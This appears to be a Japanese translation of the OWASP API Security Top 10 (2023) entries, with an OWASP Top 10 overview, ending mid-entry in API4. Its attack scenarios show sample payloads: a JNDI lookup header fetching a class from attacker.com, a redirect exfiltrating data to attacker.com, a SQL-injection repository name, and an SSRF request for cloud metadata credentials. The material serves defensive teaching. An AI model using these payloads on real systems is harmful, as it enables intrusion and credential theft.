API Security Risks The OWASP Risk Rating Methodology was used to do the risk analysis. The table below summarizes the terminology associated with the risk score. Threat Agents Exploitability Weakness Prevalence Weakness Detectability Technical Impact Business Impacts API Specific Easy: 3 Widespread 3 Easy 3 Severe 3 Business Specific API Specific Average: 2 Common 2 Average 2 Moderate 2 Business Specific API Specific Difficult: 1 Difficult 1 Difficult 1 Minor 1 Business Specific Note: This approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating does not take into account the actual impact on your business. Your organization will have to decide how much security risk from applications and APIs the organization is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP API Security Top 10 is not to do this risk analysis for you. Since this edition is not data-driven, prevalence results from a consensus among the team members. References OWASP OWASP Risk Rating Methodology Article on Threat/Risk Modeling External ISO 31000: Risk Management Std ISO 27001: ISMS NIST Cyber Framework (US) ASD Strategic Mitigations (AU) NIST CVSS 3.0 Microsoft Threat Modeling Tool
OWASPとは?
OWASPとは? OWASP(オワスプ)とは、「Open Web Application Security Project(国際ウェブセキュリティ標準機構」の略で、ソフトウェアのセキュリティ向上を目的とする非営利財団です。 Webアプリケーションのセキュリティに関する研究や、ガイドラインの作成、脆弱性診断ツールの開発、イベント開催等の多岐に渡る活動を行っています。また、世界中に275以上の支部が存在し、日本にも「OWASP Japan」が存在します。 OWASP Top 10とは? OWASP Top 10とは、先述の「OWASP」がWebアプリケーションに関する脆弱性やリスク、攻撃手法などの動向を研究し、Webセキュリティ上多発する脅威の中で、その危険性が最も高いと判断された項目をまとめ、定期的(2~3年周期)に発行しているセキュリティレポートになります。 現在公開されている最新版は2017年に発表された「OWASP Top 10 2017」となります。 OWASP Top 10では、以下に示すOWASP Risk Rating Methodologyに基づいた格付け手法により評価し、リスクの高さを可視化して危険度の高い10項目の脆弱性を整理しています。 本記事内容に関する出典・参考:OWASP_Top_10-2017(ja).pdf また、「攻撃シナリオの例」、「防御方法」、「参考資料」などの具体的な情報を得ることもできます。 OWASP Top 10 – 2017 2017年11月より公開中のアプリケーションセキュリティリスク(OWASP Top 10)は以下の項目になります。 インジェクション(Injection) 認証の不備(Broken Authentication) 機微な情報の露出(Sensitive Data Exposure) XML外部実態参照(XML External Entities XEE) アクセス制御の不備(Broken Access Control) 不適切なセキュリティ設定(Security Misconfiguration) クロスサイトスクリプティング(Cross-Site Scripting XSS) 安全でないデシリアライゼーション(Insecure Deserialization) 既知の脆弱性のあるコンポーネントの使用(Using Components with Known Vulnerabilities) 不十分なロギングとモニタリング(Insufficient Logging & Monitoring) OWASP Top 10 – 2013からの変更点 2013年から2017年にかけてのセキュリティリスクの変更点は以下になります。 本記事内容に関する出典・参考:OWASP_Top_10-2017(ja).pdf 最新版で1位に挙がったのは、SQLインジェクションやOSコマンドインジェクションといった「インジェクション」、2位は「認証の不備とセッション管理」から名称が変わり「認証の不備」で、この2つに変動はありませんでした。一方で、3位だった「クロスサイトスクリプティング(XSS)」は7位に下がり、クロスサイトリクエストフォージェリ(CSRF)は、多くのフレームワークがこの対策を講じたことにより、本脆弱性が存在するアプリは全体の5%未満になったことでTop 10から外れる結果となっています。 新たに4位となった脆弱性が「外部エンティティ参照(外部実態参照:XEE)」となり、XMLのドキュメントタイプ定義(Document Type Definition :DTD)が有効になっている場合、悪意あるXMLコンテンツを読み込むことで、サーバ内部の重要な情報を攻撃者に読み取られたり、DoS状態に陥ったりする恐れがある新しい項目になります。 また、8位(安全でないデシリアライゼーション)、10位(不十分なロギングとモニタリング)に関してはコミュニティにより寄せられた500を超える情報をもとに裏付けられた新しい項目になります。 まとめ OWASP Top 10はWebアプリケーションセキュリティ分野で、最新のサイバー攻撃の傾向を把握するのに非常に有用です。Webアプリ開発者やセキュリティ担当者であれば新たに報告された攻撃のトレンドを知っていると、その攻撃と類似する他の攻撃にもいち早く対応できると思います。 また、OWASP Top 10は各公的機関においてもWebセキュリティにおける重要なガイドラインや指標として捉えられており、OWASP Top 10に取り上げられた項目に対応できていない場合、セキュアな開発を実施するベストプラクティスを取り入れていないと判断される可能性があります。 日本国内においては、「IPA(独立行政法人 情報処理推進機構)」や「JPCERTコーディネーションセンター」がOWASP Top 10をガイドラインとして取り入れています。
API10:2023 Unsafe Consumption of APIs
脅威エージェント / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 一般的:検出可能性 平均 技術的 深刻:特定のビジネスに依存 この問題を悪用するには、攻撃者が対象APIが統合している他のAPIやサービスを特定し、その後侵害する必要があります。通常、この情報は公に利用可能ではないか、統合されたAPIやサービスが容易に悪用可能ではありません。 開発者は、外部または第三者のAPIとやり取りするエンドポイントを信頼し、検証しない傾向があります。これには、輸送セキュリティ、認証/認可、および入力の検証およびサニタイズに関するより弱いセキュリティ要件が含まれます。攻撃者は、対象APIが統合しているサービス(データソース)を特定し、最終的にはそれらを侵害する必要があります。 影響は、対象APIが引き出したデータをどのように処理するかによって異なります。攻撃が成功すると、権限のないアクターに対して機密情報が露出したり、多種多様なインジェクションまたはサービス妨害が発生する可能性があります。 APIは脆弱ですか? 開発者は、ユーザー入力よりも第三者APIから受け取ったデータを信頼する傾向があります。これは特によく知られた企業によって提供されるAPIに関して当てはまります。そのため、開発者は入力の検証およびサニタイズに関して、より弱いセキュリティ基準を採用する傾向があります。 APIが脆弱である可能性があるのは以下の場合です: 他のAPIと暗号化されていないチャネルでやり取りしている場合; 他のAPIから収集したデータを適切に検証およびサニタイズせずに処理するか、下流のコンポーネントに渡す場合; リダイレクトを無条件に追跡する場合; 第三者サービスのレスポンスを処理するためのリソース数を制限していない場合; 第三者サービスとの相互作用にタイムアウトを実装していない場合。 攻撃シナリオの例 シナリオ #1 あるAPIは、ユーザーが提供したビジネスアドレスを豊かにするために第三者サービスに依存しています。エンドユーザーがAPIにアドレスを供給すると、それが第三者サービスに送信され、返されたデータがローカルのSQL対応データベースに保存されます。 悪意のあるアクターは、第三者サービスを使用して、自分が作成したビジネスに関連するSQLiペイロードを格納します。その後、対象APIに特定の入力を提供して、第三者サービスから彼らの「悪意のあるビジネス」を引き出させます。SQLiペイロードはデータベースによって実行され、データが攻撃者が制御するサーバーに外部化されます。 シナリオ #2 あるAPIは、第三者サービスプロバイダーと統合して、敏感なユーザー医療情報を安全に保存します。以下のようなHTTPリクエストを使用してセキュアな接続でデータが送信されます: POST /user/store_phr_record { “genome”: “ACTAGTAG__TTGADDAAIICCTT…” } 悪意のあるアクターは、第三者APIを侵害する方法を見つけ、前述のようなリクエストに対して308 Permanent Redirectを返すようになりました。 HTTP/1.1 308 Permanent Redirect Location: https://attacker.com/ APIは第三者のリダイレクトに盲目的に従うため、同じリクエストを攻撃者のサーバーに送信し、ユーザーの敏感なデータを含めてしまいます。 シナリオ #3 攻撃者は’; drop db;–という名前のgitリポジトリを準備します。 これにより、攻撃されたアプリケーションからの統合が悪用され、リポジトリ名が安全な入力であると信じているアプリケーションにSQLインジェクションペイロードが使用されます。 防止方法 サービスプロバイダーを評価する際に、彼らのAPIセキュリティポリシーを評価します。 すべてのAPIの相互作用が安全な通信チャネル(TLS)上で行われることを確認します。 統合されたAPIから受け取ったデータを使用する前に、常に適切に検証およびサニタイズします。 自分のAPIがリダイレクトすることが許容される場所のホワイトリストを維持します。リダイレクトを盲目的に追跡しないでください。 参考文献 OWASP Web Service Security Cheat Sheet Injection Flaws Input Validation Cheat Sheet Injection Prevention Cheat Sheet Transport Layer Protection Cheat Sheet Unvalidated Redirects and Forwards Cheat Sheet 外部 CWE-20: Improper Input Validation CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-319: Cleartext Transmission of Sensitive Information
API9:2023 Improper Inventory Management
脅威エージェント / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 一般的:検出可能性 平均 技術的 中程度:特定のビジネスに依存 脅威エージェントは、古いAPIバージョンやパッチが当てられていないエンドポイントを通じて未承認のアクセスを取得する場合があります。また、一部のケースでは攻撃手段が利用可能です。または、データを共有する理由がない第三者からアクセスされる場合もあります。 古いドキュメントでは脆弱性を見つけることが難しく、修正することが難しくなります。資産の在庫と退役戦略の欠如により、未パッチのシステムで実行され、機密データの漏洩が発生する可能性があります。モダンな概念(例:マイクロサービス、クラウドコンピューティング、K8S)により、不必要にさらされたAPIホストを見つけることが一般的です。シンプルなGoogle Dorking、DNS列挙、またはさまざまな種類のサーバー(ウェブカメラ、ルーター、サーバーなど)をインターネットに接続している専門の検索エンジンを使用することで、攻撃対象を発見できます。 攻撃者は機密データにアクセスしたり、サーバーを乗っ取ったりすることができます。時には異なるAPIバージョンや展開が同じデータベースに接続されて実データを取得することがあります。脅威エージェントは、古いAPIバージョンに存在する廃止されたエンドポイントを利用して管理機能にアクセスしたり、既知の脆弱性を悪用したりすることがあります。 APIは脆弱ですか? APIと現代のアプリケーションの広がりと接続された性質は新たな課題をもたらします。組織は自身のAPIおよびAPIエンドポイントの理解と可視性だけでなく、APIがデータをどのように外部の第三者と共有または保存しているかについても理解することが重要です。 複数のAPIバージョンを実行する場合、APIプロバイダーからの追加管理リソースが必要であり、攻撃面を広げる可能性があります。 APIには「ドキュメントの盲点」がありますか: APIホストの目的が不明確であり、以下の質問に明確な回答がない場合 APIが実行されている環境(例:本番、ステージング、テスト、開発)はどれですか? APIにネットワークアクセスを持つべきユーザー(例:公開、内部、パートナー)は誰ですか? どのAPIバージョンが実行されていますか? 文書がないか、既存の文書が更新されていない場合。 各APIバージョンに対する退役計画がない場合。 ホストのインベントリが欠落または時代遅れである場合。 機密データの流れの可視性とインベントリは、第三者側で侵害が発生した場合のインシデント対応計画の一部として重要な役割を果たします。 APIには「データフローの盲点」がありますか: APIが第三者と機密データを共有している「機密データフロー」がある場合 フローの理由または承認がない場合 フローのインベントリまたは可視性がない場合 共有される機密データのタイプについて深い可視性がない場合 攻撃シナリオの例 シナリオ #1 あるソーシャルネットワークは、攻撃者がブルートフォースを使ってリセットパスワードトークンを推測することでユーザーのパスワードをリセットできないようにするレートリミット機構を実装しました。この機構はAPIコード自体ではなく、クライアントと公式API(api.socialnetwork.owasp.org)の間の別のコンポーネントに実装されていませんでした。研究者は、同じAPIを実行するベータAPIホスト(beta.api.socialnetwork.owasp.org)を見つけましたが、ここではレートリミット機構が機能していませんでした。研究者は、6桁のトークンを推測するためのシンプルなブルートフォースを使用して、任意のユーザーのパスワードをリセットすることができました。 シナリオ #2 あるソーシャルネットワークは、独立したアプリの開発者がそれと統合することを可能にしています。このプロセスの一部として、エンドユーザーから同意が求められ、ソーシャルネットワークがエンドユーザーの個人情報を独立したアプリと共有することができます。 ソーシャルネットワークと独立したアプリ間のデータフローは、制限が不十分で監視されていないため、独立したアプリはユーザー情報だけでなく、すべての友達のプライベート情報にアクセスできるようになっています。 あるコンサルティング会社が悪意のあるアプリを作成し、27万人のユーザーから同意を得ることに成功しました。この欠陥のため、コンサルティング会社は5,000万人のユーザーのプライベート情報にアクセスできました。後に、コンサルティング会社はこの情報を悪用する目的で販売しました。 防止方法 すべてのAPIホストをインベントリに登録し、それぞれについて重要な側面を文書化します。APIの環境(例:本番、ステージング、テスト、開発)、ホストにネットワークアクセスすべきユーザー(例:公開、内部、パートナー)、およびAPIバージョンに焦点を当てます。 統合されたサービスのインベントリを作成し、システム内での役割、交換されるデータ(データフロー)、およびその機密性などの重要な側面を文書化します。 認証、エラー、リダイレクト、レート制限、クロスオリジンリソース共有(CORS)ポリシーなど、APIのすべての側面を文書化します。これには、パラメータ、リクエスト、およびレスポンスが含まれます。 オープン標準を採用して文書化を自動化します。文書作成をCI/CDパイプラインに組み込みます。 APIの文書をAPIを使用する権限のある者にのみ公開します。 現在の本番バージョンだけでなく、すべての公開されたAPIバージョンに対してAPIセキュリティ専用ソリューションなどの外部保護措置を使用します。 非本番のAPI展開で本番データを使用することを避けます。これが避けられない場合、これらのエンドポイントは本番と同じセキュリティ対策を受けるべきです。 新しいAPIバージョンにセキュリティの改善が含まれている場合、リスク分析を実施して、古いバージョンに必要な対策を通知します。たとえば、API互換性を壊さずに改善をバックポートすることが可能かどうか、または古いバージョンをすぐに削除してすべてのクライアントを最新バージョンに移行させる必要があるかどうかを判断します。 参考文献 外部 CWE-1059: 不完全な文書化
API8:2023 Security Misconfiguration
脅威エージェント / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 一般的:検出可能性 容易 技術的 重大:特定のビジネスに依存 攻撃者はしばしば未修正の欠陥、一般的なエンドポイント、不安全なデフォルト構成で実行されているサービス、または保護されていないファイルおよびディレクトリを見つけ出して、システムへの未承認アクセスや情報収集を試みます。これらのほとんどは公開されており、その悪用可能性があるかもしれません。 セキュリティの誤構成は、APIスタックの任意のレベルで発生する可能性があります。不要なサービスやレガシーオプションなど、誤構成を検出および悪用するための自動化ツールが利用可能です。 セキュリティの誤構成は、敏感なユーザーデータだけでなく、システムの詳細を露呈し、完全なサーバーの妥協につながる可能性があります。 APIは脆弱ですか? APIが脆弱である可能性があるのは、以下の場合です: APIスタックの任意の部分で適切なセキュリティの強化が欠けている場合、またはクラウドサービスの許可が不適切に構成されている場合 最新のセキュリティパッチが欠落しているか、システムが更新されていない場合 不要な機能が有効になっている場合(例:HTTP動詞、ログ機能) HTTPサーバーチェーン内のサーバーが入力リクエストを処理する方法に不一致がある場合 Transport Layer Security(TLS)が欠落している場合 セキュリティまたはキャッシュ制御の指令がクライアントに送信されていない場合 Cross-Origin Resource Sharing(CORS)ポリシーが欠落しているか、適切に設定されていない場合 エラーメッセージにスタックトレースが含まれているか、他の敏感な情報が露呈している場合 攻撃シナリオの例 シナリオ #1 APIバックエンドサーバーは、人気のあるサードパーティオープンソースのログ記録ユーティリティで保持されています。このユーティリティはデフォルトでプレースホルダーの展開とJNDI(Java Naming and Directory Interface)ルックアップのサポートを提供しています。各リクエストに対して、以下のパターンでアクセスログファイルに新しいエントリが書き込まれます:<method> <api_version>/<path> – <status_code>。 悪意のあるアクターは次のAPIリクエストを発行し、アクセスログファイルに対応するエントリを書き込みます: GET /health X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} ログユーティリティの不安全なデフォルト設定と寛大なネットワーク出口ポリシーのため、X-Api-Versionリクエストヘッダーで値を展開する際、ログユーティリティは攻撃者のリモート制御サーバーからMalicious.classオブジェクトを引き出して実行します。 シナリオ #2 ソーシャルネットワークのウェブサイトは「ダイレクトメッセージ」機能を提供し、ユーザーがプライベートな会話を保持できます。特定の会話の新しいメッセージを取得するために、ウェブサイトは次のAPIリクエストを発行します(ユーザーの操作は必要ありません): GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA APIの応答がCache-Control HTTPレスポンスヘッダーを含まないため、プライベートな会話はWebブラウザのキャッシュに保存され、悪意のあるアクターがファイルシステムからそれらを取得することができます。 予防方法 APIライフサイクルには次のような手順が含まれるべきです: 適切にロックダウンされた環境の迅速で簡単な展開を導く、繰り返し可能な強化プロセス APIスタック全体での構成のレビューと更新を行うタスク。レビューには、オーケストレーションファイル、APIコンポーネント、およびクラウドサービス(例:S3バケットの許可)が含まれるべきです。 すべての環境で設定と設定の効果を継続的に評価する自動化プロセス さらに: 内部または公開APIであるかにかかわらず、クライアントからAPIサーバーおよび任意の下流/上流コンポーネントへのすべてのAPI通信が暗号化された通信チャネル(TLS)上で行われることを確認する。 各APIがアクセス可能なHTTP動詞について具体的に指定する:他のすべてのHTTP動詞(例:HEAD)は無効にするべきです。 ブラウザベースのクライアント(例:WebAppフロントエンド)からアクセスされることを期待しているAPIは、少なくとも次のことを実施するべきです: 適切なCross-Origin Resource Sharing(CORS)ポリシーの実装 適用可能なセキュリティヘッダーの含めること ビジネス/機能要件を満たすコンテンツタイプ/データ形式への着信コンテンツタイプを制限する。 HTTPサーバーチェーン内のすべてのサーバー(例:ロードバランサー、逆および正向きプロキシ、バックエンドサーバー)が入力リクエストを均一な方法で処理するようにするために、定義および強制すべきです。 適用可能な場合、例外トレースや攻撃者に戻される他の貴重な情報を防ぐために、API応答ペイロードスキーマ(エラー応答を含む)を定義および強制すべきです。 参考文献 OWASP OWASP Secure Headers Project Configuration and Deployment Management Testing – Web Security Testing Guide Testing for Error Handling – Web Security Testing Guide Testing for Cross Site Request Forgery – Web Security Testing Guide 外部 CWE-2: Environmental Security Flaws CWE-16: Configuration CWE-209: Generation of Error Message Containing Sensitive Information CWE-319: Cleartext Transmission of Sensitive Information CWE-388: Error Handling CWE-444: Inconsistent Interpretation of HTTP Requests (‘HTTP Request/Response Smuggling’) CWE-942: Permissive Cross-domain Policy with Untrusted Domains Guide to General Server Security、NIST Let’s Encrypt: a free, automated, and open Certificate Authority
API7:2023 Server Side Request Forgery
脅威エージェント / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 一般的:検出可能性 容易 技術的 中程度:特定のビジネスに依存 攻撃者はクライアントが提供するURIにアクセスするAPIエンドポイントを見つける必要があります。一般的なSSRF(レスポンスが攻撃者に返される場合)は、攻撃が成功したかどうかのフィードバックがないブラインドSSRFよりも容易に悪用できます。 現代のアプリケーション開発の概念では、開発者にクライアントが提供したURIにアクセスすることが推奨されています。そのようなURIの欠如または不適切な検証は一般的な問題です。問題の検出には定期的なAPIリクエストとレスポンスの分析が必要です。レスポンスが返されない(ブラインドSSRF)場合、脆弱性を検出するにはより多くの労力と創造力が必要です。 成功した悪用は、内部サービスの列挙(例:ポートスキャン)、情報開示、ファイアウォールの回避、またはその他のセキュリティメカニズムに影響を与える可能性があります。一部の場合、DoS攻撃や悪意の活動を隠すためにサーバーがプロキシとして使用されることがあります。 APIは脆弱ですか? サーバーサイドリクエストフォージェリ(SSRF)の欠陥は、APIがユーザーが提供したURLを検証せずにリモートリソースを取得する場合に発生します。これにより、攻撃者はアプリケーションに対して意図しない宛先にクラフトされたリクエストを送信させることができます。それがファイアウォールやVPNに保護されていてもです。 現代のアプリケーション開発の概念により、SSRFはより一般的であり、より危険になっています。 より一般的な事例 – Webhook、URLからのファイル取得、カスタムSSO、およびURLプレビューに基づいて外部リソースにアクセスすることを開発者が推奨しています。 より危険な事例 – クラウドプロバイダーやKubernetes、Dockerなどの現代の技術は、HTTP経由で管理および制御チャンネルを予測可能で知られているパスで公開します。これらのチャンネルはSSRF攻撃の簡単な標的となります。 また、現代のアプリケーションの接続性のために、アプリケーションからのアウトバウンドトラフィックを制限することがより困難になっています。 SSRFリスクは常に完全に排除することができるわけではありません。保護メカニズムを選択する際には、ビジネスリスクとニーズを考慮することが重要です。 攻撃シナリオの例 シナリオ #1 ソーシャルネットワークはユーザーがプロフィール写真をアップロードできるようにします。ユーザーは自分のマシンから画像ファイルをアップロードするか、画像のURLを提供することができます。後者を選択すると、次のAPI呼び出しがトリガーされます: POST /api/profile/upload_picture { “picture_url”: “http://example.com/profile_pic.jpg” } 攻撃者は悪意のあるURLを送信し、APIエンドポイントを使用して内部ネットワーク内でポートスキャンを開始することができます。 { “picture_url”: “localhost:8080” } レスポンス時間に基づいて、攻撃者はポートが開いているかどうかを判断できます。 シナリオ #2 セキュリティ製品はネットワークで異常を検出するとイベントを生成します。一部のチームはSIEM(セキュリティ情報およびイベント管理システム)などのより広範なモニタリングシステムでイベントをレビューすることを好む場合があります。この目的で、製品はWebhookを使用して他のシステムと統合を提供します。 新しいWebhookの作成の一環として、SIEM APIのURLが含まれたGraphQLミューテーションが送信されます。 POST /graphql [ { “variables”: {}, “query”: “mutation { createNotificationChannel(input: { channelName: \”ch_piney\”, notificationChannelConfig: { customWebhookChannelConfigs: [ { url: \”http://www.siem-system.com/create_new_event\”, send_test_req: true } ] } }){ channelId } }” } ] 作成プロセス中、APIバックエンドは提供されたWebhook URLにテストリクエストを送信し、ユーザーにレスポンスを提示します。 攻撃者はこのフローを利用し、APIに内部クラウドメタデータサービスを悪用してクレデンシャルを露呈させることができます: POST /graphql [ { “variables”: {}, “query”: “mutation { createNotificationChannel(input: { channelName: \”ch_piney\”, notificationChannelConfig: { customWebhookChannelConfigs: [ { url: \”http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\”, send_test_req: true } ] } }) { channelId } } } ] アプリケーションがテストリクエストのレスポンスを表示するため、攻撃者はクラウド環境のクレデンシャルを閲覧できます。 予防方法 ネットワーク内のリソース取得メカニズムを分離する:通常、これらの機能はリモートリソースを取得することを目的としていますが、内部リソースではありません。 可能な限り、以下の許可リストを使用する: ユーザーがリソースをダウンロードすることを期待するリモートオリジン(例:Google Drive、Gravatarなど) URLスキームおよびポート 特定の機能に対する受け入れられるメディアタイプ HTTPリダイレクションを無効にする。 URLパーサの不整合による問題を回避するために、テストされたかつ維持されているURLパーサを使用する。 すべてのクライアント提供入力データを検証およびサニタイズする。 クライアントに生のレスポンスを送信しない。 参考文献 OWASP サーバーサイドリクエストフォージェリ サーバーサイドリクエストフォージェリ防止チートシート 外部 CWE-918: サーバーサイドリクエストフォージェリ(SSRF) 野生のURL混乱脆弱性:解析の不一致、Snyk
API6:2023 Unrestricted Access to Sensitive Business Flows
脅威要因 / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 広範囲:検出可能性 平均的 技術的 中程度:特定のビジネスに依存 悪用は通常、APIに支えられたビジネスモデルを理解し、感度の高いビジネスフローを見つけ、これらのフローへの自動アクセスを行うことに関与します。これにより、ビジネスに害を与える可能性があります。 APIの全体像がないことで、ビジネス要件を十分にサポートできないことがこの問題の広がりに寄与します。攻撃者はターゲットのワークフローに関与するリソース(例:エンドポイント)とそれらがどのように連携して動作するかを手動で特定します。既に対策メカニズムが存在する場合、攻撃者はそれらを回避する方法を見つける必要があります。 一般的な技術的影響は予想されません。悪用はビジネスに異なる方法で害を与える可能性があります。たとえば、正規のユーザーが製品の購入を妨げられたり、ゲーム内経済のインフレを引き起こす可能性があります。 APIは脆弱ですか? APIエンドポイントを作成する際に重要なのは、それがどのビジネスフローを公開するかを理解することです。一部のビジネスフローは他よりも感度が高く、それらに過剰なアクセスが行われるとビジネスに害を及ぼす可能性があります。 感度の高いビジネスフローとそれに関連する過剰なアクセスのリスクの一般的な例: 製品の購入フロー – 攻撃者は一度に高需要アイテムの在庫をすべて購入し、高い価格で再販する(スケーリング)ことができます コメント/投稿の作成フロー – 攻撃者はシステムにスパムを送り込むことができます 予約の作成 – 攻撃者は利用可能なすべての時間枠を予約し、他のユーザーがシステムを使用するのを妨げることができます 過剰なアクセスのリスクは業界やビジネスによって異なる場合があります。例えば、あるソーシャルネットワークではスクリプトによる投稿の作成がスパムのリスクと見なされるかもしれませんが、別のソーシャルネットワークでは推奨されています。 APIエンドポイントは、適切にアクセスを制限せずに感度の高いビジネスフローを公開している場合に脆弱です。 攻撃シナリオの例 シナリオ #1 技術企業が感謝祭に新しいゲーム機を発売すると発表しました。この製品は非常に高い需要があり、在庫は限られています。攻撃者はコードを書いて新製品を自動的に購入し、取引を完了します。 発売日に、攻撃者は異なるIPアドレスと場所に分散してコードを実行します。APIは適切な保護を実装しておらず、攻撃者は他の正規のユーザーよりも大量の在庫を購入することができます。 後に、攻撃者は製品を別のプラットフォームで高い価格で売りさばきます。 シナリオ #2 航空会社がキャンセル手数料のないオンラインチケット購入を提供しています。悪意のあるユーザーは特定のフライトの座席の90%を予約します。 フライトの数日前、悪意のあるユーザーは一斉にすべてのチケットをキャンセルしました。これにより航空会社はチケット価格を割引してフライトを埋める必要がありました。 その後、ユーザーは元の価格よりもはるかに安い単一のチケットを購入します。 シナリオ #3 ライドシェアアプリが紹介プログラムを提供しています – ユーザーは友達を招待し、各友達がアプリに参加するたびにクレジットを獲得できます。このクレジットは後にライドを予約するための現金として使用できます。 攻撃者はこのフローを悪用し、スクリプトを使用して登録プロセスを自動化します。新しいユーザーごとにクレジットを攻撃者のウォレットに追加します。 攻撃者は後に無料の乗車を楽しむか、過剰なクレジットを持つアカウントを現金で売却することができます。 予防方法 予防計画は二つの層で行う必要があります: ビジネス – 過剰に使用されるとビジネスに害を与える可能性があるビジネスフローを特定します。 エンジニアリング – ビジネスリスクを緩和するための適切な保護メカニズムを選択します。 保護メカニズムの一部はシンプルなものであり、他のものは実装が難しいです。以下の方法が自動化された脅威を遅延させるために使用されます: デバイスのフィンガープリント:予期しないクライアントデバイス(例:ヘッドレスブラウザ)にサービスを拒否することで、脅威アクターによるより高度な解決策を採用することがよりコストがかかります 人間の検出:キャプチャまたはより高度な生体認証ソリューション(例:タイピングパターン)を使用する 非人間のパターン:ユーザーフローを分析して非人間のパターン(例:「カートに追加」および「購入完了」の機能にアクセスした時間が1秒未満)を検出する Torの出口ノードや知られているプロキシのIPアドレスをブロックすることを検討する 直接機械によって消費されるAPI(開発者やB2BのAPIなど)への安全で制限されたアクセスを確保します。これらのAPIは必要な保護メカニズムをすべて実装していないため、攻撃者にとって狙いやすいターゲットです。 参考文献 OWASP OWASPウェブアプリケーションへの自動化された脅威 API10:2019 不十分なログ記録と監視
API5:2023 Broken Function Level Authorization
脅威要因 / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 容易 普及度 一般的:検出可能性 容易 技術的 深刻:特定のビジネスに依存 攻撃者は、匿名ユーザーまたは通常の権限を持つユーザーとしてアクセスするべきでないAPIエンドポイントに対して正当なAPIコールを送信する必要があります。公開されたエンドポイントは簡単に悪用されます。 関数またはリソースの認可チェックは、通常、構成またはコードレベルで管理されます。適切なチェックの実装は、現代のアプリケーションには多種多様な役割、グループ、複雑なユーザー階層(サブユーザー、複数の役割を持つユーザーなど)が含まれるため、混乱のもとになる場合があります。APIは構造化されており、異なる機能にアクセスすることが予測しやすいため、これらの欠陥を発見することが容易です。 このような欠陥により、攻撃者は認可されていない機能にアクセスできるようになります。管理機能はこの種の攻撃の主要なターゲットであり、データの開示、データの損失、またはデータの破損につながる可能性があります。最終的にはサービスの中断につながる可能性があります。 APIは脆弱ですか? 壊れた関数レベルの認可問題を見つけるための最良の方法は、認可メカニズムの徹底した分析を行うことです。ユーザー階層、アプリケーション内の異なる役割やグループを考慮しながら、次のような質問をします: 通常のユーザーは管理エンドポイントにアクセスできますか? ユーザーはHTTPメソッドを単純に変更することで、アクセスすべきでない機敏なアクション(例:作成、変更、削除)を実行できますか? グループXのユーザーは、単にエンドポイントURLとパラメータを推測することでグループYのユーザーにのみ公開されるべき機能にアクセスできますか(例:/api/v1/users/export_all)? APIエンドポイントがURLパスに基づいて通常または管理者専用であると仮定しないでください。 開発者が通常、管理エンドポイントのほとんどを特定の相対パス(例:/api/admins)の下に公開することを選択する一方で、これらの管理エンドポイントが通常のエンドポイントと一緒に他の相対パス(例:/api/users)に存在することが非常に一般的です。 攻撃シナリオの例 シナリオ #1 招待されたユーザーのみが参加できるアプリケーションの登録プロセス中、モバイルアプリケーションはAPIコールをトリガーしてGET /api/invites/{invite_guid}にアクセスします。レスポンスには、招待の詳細(ユーザーの役割とメールアドレスを含む)が含まれています。 攻撃者はこのリクエストを複製し、HTTPメソッドとエンドポイントを操作してPOST /api/invites/newにアクセスします。このエンドポイントは管理コンソールを使用してのみアクセスすべきですが、関数レベルの認可チェックが実装されていません。 攻撃者は問題を悪用し、管理者権限で新しい招待を送信します: POST /api/invites/new { “email”: “[email protected]”, “role”:”admin” } その後、攻撃者は悪意のある招待を使用して自分自身に管理者アカウントを作成し、システムへの完全なアクセスを獲得します。 シナリオ #2 特定のエンドポイントGET /api/admin/v1/users/allは、管理者専用に公開されるべきですが、関数レベルの認可チェックが実装されていません。API構造を学んだ攻撃者は、このエンドポイントにアクセスし、アプリケーションのユーザーの機密情報を公開します。 予防方法 アプリケーションには、ビジネス機能から呼び出される一貫性のある、分析しやすい認可モジュールが必要です。このような保護は通常、アプリケーションコード以外の1つ以上のコンポーネントによって提供されます。 強制メカニズムはすべてデフォルトでアクセスを拒否し、特定の役割に対する明示的な許可を必要とします。 ビジネスロジックとグループの階層を考慮しながら、APIエンドポイントを関数レベルの認可欠陥に対してレビューします。 すべての管理コントローラーが管理抽象コントローラーから継承し、ユーザーのグループ/役割に基づいて認可チェックを実装することを確認します。 通常のコントローラー内の管理機能が、ユーザーのグループと役割に基づいて認可チェックを実装することを確認します。 参考文献 OWASP 強制ブラウジング “A7: Missing Function Level Access Control”, OWASP Top 10 2013 アクセス制御 外部 CWE-285: 不適切な認可
API4:2023 Unrestricted Resource Consumption
脅威要因 / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 平均 普及度 広範:検出可能性 簡単 技術的 深刻:特定のビジネスに依存 悪用には簡単なAPIリクエストが必要です。単一のローカルコンピュータまたはクラウドコンピューティングリソースを使用して、複数の同時リクエストが行われることがあります。トラフィックの高負荷によるDoS攻撃を引き起こすために設計された自動化ツールのほとんどがAPIのサービスレートに影響を与えます。 クライアントの相互作用またはリソース消費を制限しないAPIを見つけるのは一般的です。リクエストのパラメータによってリソースの数を制御するものや、応答のステータス/時間/長さの分析を行うことで問題を特定できます。バッチ処理も同様です。脅威要因はコストの影響を直接見ることができないが、サービスプロバイダ(例:クラウドプロバイダ)のビジネス/価格モデルに基づいてそれを推定できます。 悪用によりリソース枯渇によるDoS攻撃が発生する可能性がありますが、それによりCPU需要が高まり、クラウドストレージの必要性が増加するなど、インフラ関連の運用コストも増加する可能性があります。 APIは脆弱ですか? APIリクエストを満たすためには、ネットワーク帯域幅、CPU、メモリ、ストレージなどのリソースが必要です。これらの必要なリソースは、API統合を通じてサービスプロバイダによって提供され、リクエストごとに支払われます(例:電子メール/SMS/電話の送信、生体認証の検証など)。 少なくとも次のいずれかの制限が欠落しているか不適切に設定されている場合、APIは脆弱です: 実行タイムアウト 最大割り当て可能メモリ 最大ファイル記述子数 最大プロセス数 最大アップロードファイルサイズ 